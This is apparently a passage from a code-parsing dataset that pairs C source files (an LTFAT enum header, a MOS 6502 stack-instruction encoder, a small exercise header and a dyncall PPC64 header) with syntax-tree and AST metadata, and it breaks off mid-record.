baseband.\n *\n * Time invatiant:\n * \\anchor dgttimeinv\n * \\f[\n * c(m,n) \n * = \\sum_{l=0}^{L-1}\\! f(l)\n * \\overline{g(l-na)} \\me^{-\\mi 2\\pi (l-na) m/M } \\,\n * \\f]\n * This is commonly used by engineers. This is equivalent to\n * a filterbank.\n *\n * \\see dgt_phaselock dgtreal_phaselock dgt_phaseunlock dgtreal_phaseunlock\n *\n */\ntypedef enum\n{\n LTFAT_TIMEINV = 0,\n LTFAT_FREQINV = 1,\n LTFAT_POPULAR = 2\n} ltfat_phaseconvention;\n\n/** @}*/\n/** @}*/\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nLTFAT_API int\nltfat_phaseconvention_is_valid(ltfat_phaseconvention in);\n\n#ifdef __cplusplus\n} // extern \"C\"\n#endif\n\n#endif\n"}
81,182
c
/* * This file is licensed under BSD 3-Clause. * All license information is available in the included COPYING file. */ /* * mos6502_stack.c * MOS 6502 encoder for stack instructions * * Author : <NAME> <<EMAIL>> * Date created : 17/10/2020 */ #include "mos6502.h" size_t mos6502_tsx() { return mos6502_write((int8_t) 0xba); } size_t mos6502_txs() { return mos6502_write((int8_t) 0x9a); } size_t mos6502_pha() { return mos6502_write(0x48); } size_t mos6502_php() { return mos6502_write(0x08); } size_t mos6502_pla() { return mos6502_write(0x68); } size_t mos6502_plp() { return mos6502_write(0x28); }
13.79
42
(translation_unit) "/*\n * This file is licensed under BSD 3-Clause.\n * All license information is available in the included COPYING file.\n */\n\n/*\n * mos6502_stack.c\n * MOS 6502 encoder for stack instructions\n *\n * Author : <NAME> <<EMAIL>>\n * Date created : 17/10/2020\n */\n\n#include "mos6502.h"\n\nsize_t\nmos6502_tsx()\n{\n return mos6502_write((int8_t) 0xba);\n}\n\nsize_t\nmos6502_txs()\n{\n return mos6502_write((int8_t) 0x9a);\n}\n\nsize_t\nmos6502_pha()\n{\n return mos6502_write(0x48);\n}\n\nsize_t\nmos6502_php()\n{\n return mos6502_write(0x08);\n}\n\nsize_t\nmos6502_pla()\n{\n return mos6502_write(0x68);\n}\n\nsize_t\nmos6502_plp()\n{\n return mos6502_write(0x28);\n}\n\n" (comment) "/*\n * This file is licensed under BSD 3-Clause.\n * All license information is available in the included COPYING file.\n */" (comment) "/*\n * mos6502_stack.c\n * MOS 6502 encoder for stack instructions\n *\n * Author : <NAME> <<EMAIL>>\n * Date created : 17/10/2020\n */" (preproc_include) "#include "mos6502.h"\n" (#include) "#include" (string_literal) ""mos6502.h"" (") """ (string_content) "mos6502.h" (") """ (function_definition) "size_t\nmos6502_tsx()\n{\n return mos6502_write((int8_t) 0xba);\n}" (primitive_type) "size_t" (function_declarator) "mos6502_tsx()" (identifier) "mos6502_tsx" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n return mos6502_write((int8_t) 0xba);\n}" ({) "{" (return_statement) "return mos6502_write((int8_t) 0xba);" (return) "return" (call_expression) "mos6502_write((int8_t) 0xba)" (identifier) "mos6502_write" (argument_list) "((int8_t) 0xba)" (() "(" (cast_expression) "(int8_t) 0xba" (() "(" (type_descriptor) "int8_t" (primitive_type) "int8_t" ()) ")" (number_literal) "0xba" ()) ")" (;) ";" (}) "}" (function_definition) "size_t\nmos6502_txs()\n{\n return mos6502_write((int8_t) 0x9a);\n}" (primitive_type) "size_t" (function_declarator) "mos6502_txs()" (identifier) "mos6502_txs" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n return mos6502_write((int8_t) 0x9a);\n}" ({) "{" (return_statement) "return mos6502_write((int8_t) 0x9a);" (return) "return" (call_expression) "mos6502_write((int8_t) 0x9a)" (identifier) "mos6502_write" (argument_list) "((int8_t) 0x9a)" (() "(" (cast_expression) "(int8_t) 0x9a" (() "(" (type_descriptor) "int8_t" (primitive_type) "int8_t" ()) ")" (number_literal) "0x9a" ()) ")" (;) ";" (}) "}" (function_definition) "size_t\nmos6502_pha()\n{\n return mos6502_write(0x48);\n}" (primitive_type) "size_t" (function_declarator) "mos6502_pha()" (identifier) "mos6502_pha" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n return mos6502_write(0x48);\n}" ({) "{" (return_statement) "return mos6502_write(0x48);" (return) "return" (call_expression) "mos6502_write(0x48)" (identifier) "mos6502_write" (argument_list) "(0x48)" (() "(" (number_literal) "0x48" ()) ")" (;) ";" (}) "}" (function_definition) "size_t\nmos6502_php()\n{\n return mos6502_write(0x08);\n}" (primitive_type) "size_t" (function_declarator) "mos6502_php()" (identifier) "mos6502_php" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n return mos6502_write(0x08);\n}" ({) "{" (return_statement) "return mos6502_write(0x08);" (return) "return" (call_expression) "mos6502_write(0x08)" (identifier) "mos6502_write" (argument_list) "(0x08)" (() "(" (number_literal) "0x08" ()) ")" (;) ";" (}) "}" (function_definition) "size_t\nmos6502_pla()\n{\n return mos6502_write(0x68);\n}" (primitive_type) "size_t" (function_declarator) "mos6502_pla()" (identifier) "mos6502_pla" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n return mos6502_write(0x68);\n}" ({) "{" (return_statement) "return mos6502_write(0x68);" (return) "return" (call_expression) "mos6502_write(0x68)" (identifier) "mos6502_write" (argument_list) "(0x68)" (() "(" (number_literal) "0x68" ()) ")" (;) ";" (}) "}" (function_definition) "size_t\nmos6502_plp()\n{\n return mos6502_write(0x28);\n}" (primitive_type) "size_t" (function_declarator) "mos6502_plp()" (identifier) "mos6502_plp" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n return mos6502_write(0x28);\n}" ({) "{" (return_statement) "return mos6502_write(0x28);" (return) "return" (call_expression) "mos6502_write(0x28)" (identifier) "mos6502_write" (argument_list) "(0x28)" (() "(" (number_literal) "0x28" ()) ")" (;) ";" (}) "}"
133
0
{"language": "c", "success": true, "metadata": {"lines": 42, "avg_line_length": 13.79, "nodes": 69, "errors": 0, "source_hash": "444a40b345e372adcb4f855fa41849a26e945f4543538da25ea6d1371b05de65", "categorized_nodes": 47}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"mos6502.h\"\n", "parent": null, "children": [1, 2], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"mos6502.h\"", "parent": 0, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 20}}, {"id": 3, "type": "function_definition", "text": "size_t\nmos6502_tsx()\n{\n\treturn mos6502_write((int8_t) 0xba);\n}", "parent": null, "children": [4, 5], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 19, "column": 1}}, {"id": 4, "type": "primitive_type", "text": "size_t", "parent": 3, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 6}}, {"id": 5, "type": "function_declarator", "text": "mos6502_tsx()", "parent": 3, "children": [6, 7], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 13}}, {"id": 6, "type": "identifier", "text": "mos6502_tsx", "parent": 5, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 11}}, {"id": 7, "type": "parameter_list", "text": "()", "parent": 5, "children": [], "start_point": {"row": 16, "column": 11}, "end_point": {"row": 16, "column": 13}}, {"id": 8, "type": "return_statement", "text": "return mos6502_write((int8_t) 0xba);", "parent": 3, "children": [9], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 37}}, {"id": 9, "type": "call_expression", "text": "mos6502_write((int8_t) 0xba)", "parent": 8, "children": [10, 11], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 36}}, {"id": 10, "type": "identifier", "text": "mos6502_write", "parent": 9, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 21}}, {"id": 11, "type": "argument_list", "text": "((int8_t) 0xba)", "parent": 9, "children": [12], "start_point": {"row": 18, "column": 21}, "end_point": {"row": 18, "column": 36}}, {"id": 12, "type": "cast_expression", "text": "(int8_t) 0xba", "parent": 11, "children": [13, 15], "start_point": {"row": 18, "column": 22}, "end_point": {"row": 18, "column": 35}}, {"id": 13, "type": "type_descriptor", "text": "int8_t", "parent": 12, "children": [14], "start_point": {"row": 18, "column": 23}, "end_point": {"row": 18, "column": 29}}, {"id": 14, "type": "primitive_type", "text": "int8_t", "parent": 13, "children": [], "start_point": {"row": 18, "column": 23}, "end_point": {"row": 18, "column": 29}}, {"id": 15, "type": "number_literal", "text": "0xba", "parent": 12, "children": [], "start_point": {"row": 18, "column": 31}, "end_point": {"row": 18, "column": 35}}, {"id": 16, "type": "function_definition", "text": "size_t\nmos6502_txs()\n{\n\treturn mos6502_write((int8_t) 0x9a);\n}", "parent": null, "children": [17, 18], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 25, "column": 1}}, {"id": 17, "type": "primitive_type", "text": "size_t", "parent": 16, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 6}}, {"id": 18, "type": "function_declarator", "text": "mos6502_txs()", "parent": 16, "children": [19, 20], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 13}}, {"id": 19, "type": "identifier", "text": "mos6502_txs", "parent": 18, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 11}}, {"id": 20, "type": "parameter_list", "text": "()", "parent": 18, "children": [], "start_point": {"row": 22, "column": 11}, "end_point": {"row": 22, "column": 13}}, {"id": 21, "type": "return_statement", "text": "return mos6502_write((int8_t) 0x9a);", "parent": 16, "children": [22], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 37}}, {"id": 22, "type": "call_expression", "text": "mos6502_write((int8_t) 0x9a)", "parent": 21, "children": [23, 24], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 36}}, {"id": 23, "type": "identifier", "text": "mos6502_write", "parent": 22, "children": [], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 21}}, {"id": 24, "type": "argument_list", "text": "((int8_t) 0x9a)", "parent": 22, "children": [25], "start_point": {"row": 24, "column": 21}, "end_point": {"row": 24, "column": 36}}, {"id": 25, "type": "cast_expression", "text": "(int8_t) 0x9a", "parent": 24, "children": [26, 28], "start_point": {"row": 24, "column": 22}, "end_point": {"row": 24, "column": 35}}, {"id": 26, "type": "type_descriptor", "text": "int8_t", "parent": 25, "children": [27], "start_point": {"row": 24, "column": 23}, "end_point": {"row": 24, "column": 29}}, {"id": 27, "type": "primitive_type", "text": "int8_t", "parent": 26, "children": [], "start_point": {"row": 24, "column": 23}, "end_point": {"row": 24, "column": 29}}, {"id": 28, "type": "number_literal", "text": "0x9a", "parent": 25, "children": [], "start_point": {"row": 24, "column": 31}, "end_point": {"row": 24, "column": 35}}, {"id": 29, "type": "function_definition", "text": "size_t\nmos6502_pha()\n{\n\treturn mos6502_write(0x48);\n}", "parent": null, "children": [30, 31], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 31, "column": 1}}, {"id": 30, "type": "primitive_type", "text": "size_t", "parent": 29, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 6}}, {"id": 31, "type": "function_declarator", "text": "mos6502_pha()", "parent": 29, "children": [32, 33], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 13}}, {"id": 32, "type": "identifier", "text": "mos6502_pha", "parent": 31, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 11}}, {"id": 33, "type": "parameter_list", "text": "()", "parent": 31, "children": [], "start_point": {"row": 28, "column": 11}, "end_point": {"row": 28, "column": 13}}, {"id": 34, "type": "return_statement", "text": "return mos6502_write(0x48);", "parent": 29, "children": [35], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 28}}, {"id": 35, "type": "call_expression", "text": "mos6502_write(0x48)", "parent": 34, "children": [36, 37], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 27}}, {"id": 36, "type": "identifier", "text": "mos6502_write", "parent": 35, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 21}}, {"id": 37, "type": "argument_list", "text": "(0x48)", "parent": 35, "children": [38], "start_point": {"row": 30, "column": 21}, "end_point": {"row": 30, "column": 27}}, {"id": 38, "type": "number_literal", "text": "0x48", "parent": 37, "children": [], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 26}}, {"id": 39, "type": "function_definition", "text": "size_t\nmos6502_php()\n{\n\treturn mos6502_write(0x08);\n}", "parent": null, "children": [40, 41], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 37, "column": 1}}, {"id": 40, "type": "primitive_type", "text": "size_t", "parent": 39, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 6}}, {"id": 41, "type": "function_declarator", "text": "mos6502_php()", "parent": 39, "children": [42, 43], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 13}}, {"id": 42, "type": "identifier", "text": "mos6502_php", "parent": 41, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 11}}, {"id": 43, "type": "parameter_list", "text": "()", "parent": 41, "children": [], "start_point": {"row": 34, "column": 11}, "end_point": {"row": 34, "column": 13}}, {"id": 44, "type": "return_statement", "text": "return mos6502_write(0x08);", "parent": 39, "children": [45], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 28}}, {"id": 45, "type": "call_expression", "text": "mos6502_write(0x08)", "parent": 44, "children": [46, 47], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 27}}, {"id": 46, "type": "identifier", "text": "mos6502_write", "parent": 45, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 21}}, {"id": 47, "type": "argument_list", "text": "(0x08)", "parent": 45, "children": [48], "start_point": {"row": 36, "column": 21}, "end_point": {"row": 36, "column": 27}}, {"id": 48, "type": "number_literal", "text": "0x08", "parent": 47, "children": [], "start_point": {"row": 36, "column": 22}, "end_point": {"row": 36, "column": 26}}, {"id": 49, "type": "function_definition", "text": "size_t\nmos6502_pla()\n{\n\treturn mos6502_write(0x68);\n}", "parent": null, "children": [50, 51], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 43, "column": 1}}, {"id": 50, "type": "primitive_type", "text": "size_t", "parent": 49, "children": [], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 6}}, {"id": 51, "type": "function_declarator", "text": "mos6502_pla()", "parent": 49, "children": [52, 53], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 13}}, {"id": 52, "type": "identifier", "text": "mos6502_pla", "parent": 51, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 11}}, {"id": 53, "type": "parameter_list", "text": "()", "parent": 51, "children": [], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 40, "column": 13}}, {"id": 54, "type": "return_statement", "text": "return mos6502_write(0x68);", "parent": 49, "children": [55], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 28}}, {"id": 55, "type": "call_expression", "text": "mos6502_write(0x68)", "parent": 54, "children": [56, 57], "start_point": {"row": 42, "column": 8}, "end_point": {"row": 42, "column": 27}}, {"id": 56, "type": "identifier", "text": "mos6502_write", "parent": 55, "children": [], "start_point": {"row": 42, "column": 8}, "end_point": {"row": 42, "column": 21}}, {"id": 57, "type": "argument_list", "text": "(0x68)", "parent": 55, "children": [58], "start_point": {"row": 42, "column": 21}, "end_point": {"row": 42, "column": 27}}, {"id": 58, "type": "number_literal", "text": "0x68", "parent": 57, "children": [], "start_point": {"row": 42, "column": 22}, "end_point": {"row": 42, "column": 26}}, {"id": 59, "type": "function_definition", "text": "size_t\nmos6502_plp()\n{\n\treturn mos6502_write(0x28);\n}", "parent": null, "children": [60, 61], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 49, "column": 1}}, {"id": 60, "type": "primitive_type", "text": "size_t", "parent": 59, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 6}}, {"id": 61, "type": "function_declarator", "text": "mos6502_plp()", "parent": 59, "children": [62, 63], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 46, "column": 13}}, {"id": 62, "type": "identifier", "text": "mos6502_plp", "parent": 61, "children": [], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 46, "column": 11}}, {"id": 63, "type": "parameter_list", "text": "()", "parent": 61, "children": [], "start_point": {"row": 46, "column": 11}, "end_point": {"row": 46, "column": 13}}, {"id": 64, "type": "return_statement", "text": "return mos6502_write(0x28);", "parent": 59, "children": [65], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 28}}, {"id": 65, "type": "call_expression", "text": "mos6502_write(0x28)", "parent": 64, "children": [66, 67], "start_point": {"row": 48, "column": 8}, "end_point": {"row": 48, "column": 27}}, {"id": 66, "type": "identifier", "text": "mos6502_write", "parent": 65, "children": [], "start_point": {"row": 48, "column": 8}, "end_point": {"row": 48, "column": 21}}, {"id": 67, "type": "argument_list", "text": "(0x28)", "parent": 65, "children": [68], "start_point": {"row": 48, "column": 21}, "end_point": {"row": 48, "column": 27}}, {"id": 68, "type": "number_literal", "text": "0x28", "parent": 67, "children": [], "start_point": {"row": 48, "column": 22}, "end_point": {"row": 48, "column": 26}}]}, "node_categories": {"declarations": {"functions": [3, 5, 16, 18, 29, 31, 39, 41, 49, 51, 59, 61], "variables": [], "classes": [], "imports": [0, 1], "modules": [], "enums": []}, "statements": {"expressions": [9, 12, 22, 25, 35, 45, 55, 65], "assignments": [], "loops": [], "conditionals": [6, 10, 19, 23, 32, 36, 42, 46, 52, 56, 62, 66], "returns": [8, 21, 34, 44, 54, 64], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 15, 28, 38, 48, 58, 68], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 3, "universal_type": "function", "name": "unknown", "text_snippet": "size_t\nmos6502_tsx()\n{\n\treturn mos6502_write((int8_t) 0xba);\n}"}, {"node_id": 5, "universal_type": "function", "name": "unknown", "text_snippet": "mos6502_tsx()"}, {"node_id": 16, "universal_type": "function", "name": "unknown", "text_snippet": "size_t\nmos6502_txs()\n{\n\treturn mos6502_write((int8_t) 0x9a);\n}"}, {"node_id": 18, "universal_type": "function", "name": "unknown", "text_snippet": "mos6502_txs()"}, {"node_id": 29, "universal_type": "function", "name": "unknown", "text_snippet": "size_t\nmos6502_pha()\n{\n\treturn mos6502_write(0x48);\n}"}, {"node_id": 31, "universal_type": "function", "name": "unknown", "text_snippet": "mos6502_pha()"}, {"node_id": 39, "universal_type": "function", "name": "unknown", "text_snippet": "size_t\nmos6502_php()\n{\n\treturn mos6502_write(0x08);\n}"}, {"node_id": 41, "universal_type": "function", "name": "unknown", "text_snippet": "mos6502_php()"}, {"node_id": 49, "universal_type": "function", "name": "unknown", "text_snippet": "size_t\nmos6502_pla()\n{\n\treturn mos6502_write(0x68);\n}"}, {"node_id": 51, "universal_type": "function", "name": "unknown", "text_snippet": "mos6502_pla()"}, {"node_id": 59, "universal_type": "function", "name": "unknown", "text_snippet": "size_t\nmos6502_plp()\n{\n\treturn mos6502_write(0x28);\n}"}, {"node_id": 61, "universal_type": "function", "name": "unknown", "text_snippet": "mos6502_plp()"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include \"mos6502.h\"\n"}, {"node_id": 1, "text": "#include"}]}, "original_source_code": "/*\n * This file is licensed under BSD 3-Clause.\n * All license information is available in the included COPYING file.\n */\n\n/*\n * mos6502_stack.c\n * MOS 6502 encoder for stack instructions\n *\n * Author : <NAME> <<EMAIL>>\n * Date created : 17/10/2020\n */\n\n#include \"mos6502.h\"\n\nsize_t\nmos6502_tsx()\n{\n\treturn mos6502_write((int8_t) 0xba);\n}\n\nsize_t\nmos6502_txs()\n{\n\treturn mos6502_write((int8_t) 0x9a);\n}\n\nsize_t\nmos6502_pha()\n{\n\treturn mos6502_write(0x48);\n}\n\nsize_t\nmos6502_php()\n{\n\treturn mos6502_write(0x08);\n}\n\nsize_t\nmos6502_pla()\n{\n\treturn mos6502_write(0x68);\n}\n\nsize_t\nmos6502_plp()\n{\n\treturn mos6502_write(0x28);\n}\n\n"}
81,183
c
#ifndef GUARD_14_2_H #define GUARD_14_2_H int ex14_2(); #endif // !GUARD_14_2_H
19
4
(translation_unit) "#ifndef GUARD_14_2_H\n#define GUARD_14_2_H\n\nint ex14_2();\n\n#endif // !GUARD_14_2_H" (preproc_ifdef) "#ifndef GUARD_14_2_H\n#define GUARD_14_2_H\n\nint ex14_2();\n\n#endif" (#ifndef) "#ifndef" (identifier) "GUARD_14_2_H" (preproc_def) "#define GUARD_14_2_H\n" (#define) "#define" (identifier) "GUARD_14_2_H" (declaration) "int ex14_2();" (primitive_type) "int" (function_declarator) "ex14_2()" (identifier) "ex14_2" (parameter_list) "()" (() "(" ()) ")" (;) ";" (#endif) "#endif" (comment) "// !GUARD_14_2_H"
17
0
{"language": "c", "success": true, "metadata": {"lines": 4, "avg_line_length": 19.0, "nodes": 12, "errors": 0, "source_hash": "12bb1e98e3b3723719e666065a4687da6618f13c7b167a0af6a0eca124845ce0", "categorized_nodes": 8}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef GUARD_14_2_H\n#define GUARD_14_2_H\n\nint ex14_2();\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 11], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 5, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "GUARD_14_2_H", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 20}}, {"id": 3, "type": "preproc_def", "text": "#define GUARD_14_2_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "GUARD_14_2_H", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 20}}, {"id": 6, "type": "declaration", "text": "int ex14_2();", "parent": 0, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 13}}, {"id": 7, "type": "primitive_type", "text": "int", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 3}}, {"id": 8, "type": "function_declarator", "text": "ex14_2()", "parent": 6, "children": [9, 10], "start_point": {"row": 3, "column": 4}, "end_point": {"row": 3, "column": 12}}, {"id": 9, "type": "identifier", "text": "ex14_2", "parent": 8, "children": [], "start_point": {"row": 3, "column": 4}, "end_point": {"row": 3, "column": 10}}, {"id": 10, "type": "parameter_list", "text": "()", "parent": 8, "children": [], "start_point": {"row": 3, "column": 10}, "end_point": {"row": 3, "column": 12}}, {"id": 11, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 6}}]}, "node_categories": {"declarations": {"functions": [8], "variables": [6], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 9, 11], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 8, "universal_type": "function", "name": "unknown", "text_snippet": "ex14_2()"}], "class_declarations": [], "import_statements": []}, "original_source_code": "#ifndef GUARD_14_2_H\n#define GUARD_14_2_H\n\nint ex14_2();\n\n#endif // !GUARD_14_2_H"}
81,184
c
/* Package: dyncall Library: dyncall File: dyncall/dyncall_call_ppc64.h Description: License: Copyright (c) 2014-2015 <NAME> <<EMAIL>> Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #ifndef DYNCALL_PPC64_H #define DYNCALL_PPC64_H #include "dyncall_types.h" #ifdef __cplusplus extern "C" { #endif struct DCRegData_ppc64_ { DClonglong mIntData[8]; DCdouble mFloatData[13]; }; /* ** PowerPC 64-bit calling convention call ** ** - hybrid return-type call (bool ... pointer) ** */ void dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata); #ifdef __cplusplus } #endif #endif /* DYNCALL_PPC64_H */
31.71
41
(translation_unit) "/*\n\n Package: dyncall\n Library: dyncall\n File: dyncall/dyncall_call_ppc64.h\n Description: \n License:\n\n Copyright (c) 2014-2015 <NAME> <<EMAIL>>\n\n Permission to use, copy, modify, and distribute this software for any\n purpose with or without fee is hereby granted, provided that the above\n copyright notice and this permission notice appear in all copies.\n\n THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n*/\n\n\n#ifndef DYNCALL_PPC64_H\n#define DYNCALL_PPC64_H\n\n#include "dyncall_types.h"\n\n#ifdef __cplusplus\nextern "C" {\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* DYNCALL_PPC64_H */\n\n" (comment) "/*\n\n Package: dyncall\n Library: dyncall\n File: dyncall/dyncall_call_ppc64.h\n Description: \n License:\n\n Copyright (c) 2014-2015 <NAME> <<EMAIL>>\n\n Permission to use, copy, modify, and distribute this software for any\n purpose with or without fee is hereby granted, provided that the above\n copyright notice and this permission notice appear in all copies.\n\n THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n*/" (preproc_ifdef) "#ifndef DYNCALL_PPC64_H\n#define DYNCALL_PPC64_H\n\n#include "dyncall_types.h"\n\n#ifdef __cplusplus\nextern "C" {\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif" (#ifndef) "#ifndef" (identifier) "DYNCALL_PPC64_H" (preproc_def) "#define DYNCALL_PPC64_H\n" (#define) "#define" (identifier) "DYNCALL_PPC64_H" (preproc_include) "#include "dyncall_types.h"\n" (#include) "#include" (string_literal) ""dyncall_types.h"" (") """ (string_content) "dyncall_types.h" (") """ (preproc_ifdef) "#ifdef __cplusplus\nextern "C" {\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... pointer)\n**\n*/\n\nvoid dcCall_ppc64(DCpointer target, struct DCRegData_ppc64_* ppc64data, DCsize stksize, DCpointer stkdata);\n\n#ifdef __cplusplus\n}\n#endif" (#ifdef) "#ifdef" (identifier) "__cplusplus" (linkage_specification) "extern "C" {\n#endif\n\nstruct DCRegData_ppc64_\n{\n DClonglong mIntData[8];\n DCdouble mFloatData[13];\n};\n\n/* \n** PowerPC 64-bit calling convention call\n**\n** - hybrid return-type call (bool ... 